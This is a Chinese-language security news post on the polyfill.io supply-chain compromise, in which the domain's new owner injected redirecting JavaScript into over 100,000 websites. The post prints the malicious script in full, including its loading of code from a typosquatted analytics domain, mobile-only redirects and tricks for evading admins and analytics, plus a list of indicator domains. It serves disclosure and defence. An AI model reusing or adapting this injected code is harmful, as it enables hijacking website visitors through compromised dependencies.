![](https://www.qxwa.com/wp-content/uploads/2024/06/supply-chain-attack.webp)
Sansec安全团队近日发表分析文章称,有中国公司收购Polyfill之后,植入了恶意程序,攻击了10万多个网站。圈小蛙初步分析认为,这事可能是境外的中国籍博彩团队干的。
polyfill.js
是广泛使用的用于支持旧浏览器的开源库,有超过 10 万网站使用 cdn.polyfill.io
域名嵌入了该脚本。著名用户包括 JSTOR、Intuit 和世界经济论坛。
但是,在今年2月,一家中国公司收购了该域名和相关 Github 账号,然后通过 cdn.polyfill.io
向移动设备植入恶意程序。新拥有者还迅速删除了 Github 上的相关讨论及投诉。
Polyfill 原作者建议不要使用 Polyfill,完全移除该脚本,因为现代浏览器不再需要它,但如果必须使用,可以用 CDN 服务商 Fastly 和 Cloudflare 的替代方案。
安全研究人员发现,植入的恶意程序使用假的 Google 分析域名 www.googie-anaiytics.com
将移动设备用户重定向到博彩网站(w9[.]vty70[.]net)。代码针对逆向工程有特定保护代码,而且只在特定时间对特定移动设备激活。它在检测到管理员后不会激活。当检测到网络分析服务时它会延迟执行。研究人员给恶意程序起名为“跳转(tiaozhuan)”——恶意代码使用的一个函数名叫 check_tiaozhuan。
目前,Google 已经开始屏蔽使用 polyfill.io 的电子商务网站的 Google Ads。Cloudflare 已将 cdn.polyfill.io 实时重写为他们自己的版本,Namecheap 已暂停解析该域名,暂时消除了风险。
建议所有还在使用polyfill的网站从代码中删除任何 polyfill.io 引用。
Polyfill 恶意代码示例
function isPc() {
try {
var _isWin =
navigator.platform == "Win32" || navigator.platform == "Windows",
_isMac =
navigator.platform == "Mac68K" ||
navigator.platform == "MacPPC" ||
navigator.platform == "Macintosh" ||
navigator.platform == "MacIntel";
if (_isMac || _isWin) {
return true;
} else {
return false;
}
} catch (_0x44e1f6) {
return false;
}
}
function vfed_update(_0x5ae1f8) {
_0x5ae1f8 !== "" &&
loadJS(
"https://www.googie-anaiytics.com/html/checkcachehw.js",
function () {
if (usercache == true) {
window.location.href = _0x5ae1f8;
}
}
);
}
function check_tiaozhuan() {
var _isMobile = navigator.userAgent.match(
/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
);
if (_isMobile) {
var _curHost = window.location.host,
_ref = document.referrer,
_redirectURL = "",
_kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
_rnd = Math.floor(Math.random() * 100 + 1),
_date = new Date(),
_hours = _date.getHours();
if (
_curHost.indexOf("www.dxtv1.com") !== -1 ||
_curHost.indexOf("www.ys752.com") !== -1
) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_curHost.indexOf("shuanshu.com.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_hours >= 0 && _hours < 2) { if (_rnd <= 10) { _redirectURL = _kuurzaBitGet; } } else { if (_hours >= 2 && _hours < 4) { _rnd <= 15 && (_redirectURL = _kuurzaBitGet); } else { if (_hours >= 4 && _hours < 7) { _rnd <= 20 && (_redirectURL = _kuurzaBitGet); } else { _hours >= 7 && _hours < 8
? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
: _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
}
}
}
}
}
}
_redirectURL != "" &&
!isPc() &&
document.cookie.indexOf("admin_id") == -1 &&
document.cookie.indexOf("adminlevels") == -1 &&
vfed_update(_redirectURL);
}
}
let _outerPage = document.documentElement.outerHTML,
bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
aplausix = _outerPage.indexOf(".plausible.io") != -1,
statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
? setTimeout(check_tiaozhuan, 2000)
: check_tiaozhuan();
恶意URL及域名
https://kuurza.com/redirect?from=bitget
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/ga.js
https://cdn.bootcss.com/highlight.js/9.7.0/highlight.min.js
https://union.macoms.la/jquery.min-4.0.2.js
https://newcrbpc.com/redirect?from=bscbcbootcdn.net
staticfile.net
staticfile.org
unionadjs.com
xhsbpza.com
union.macoms.la
newcrbpc.com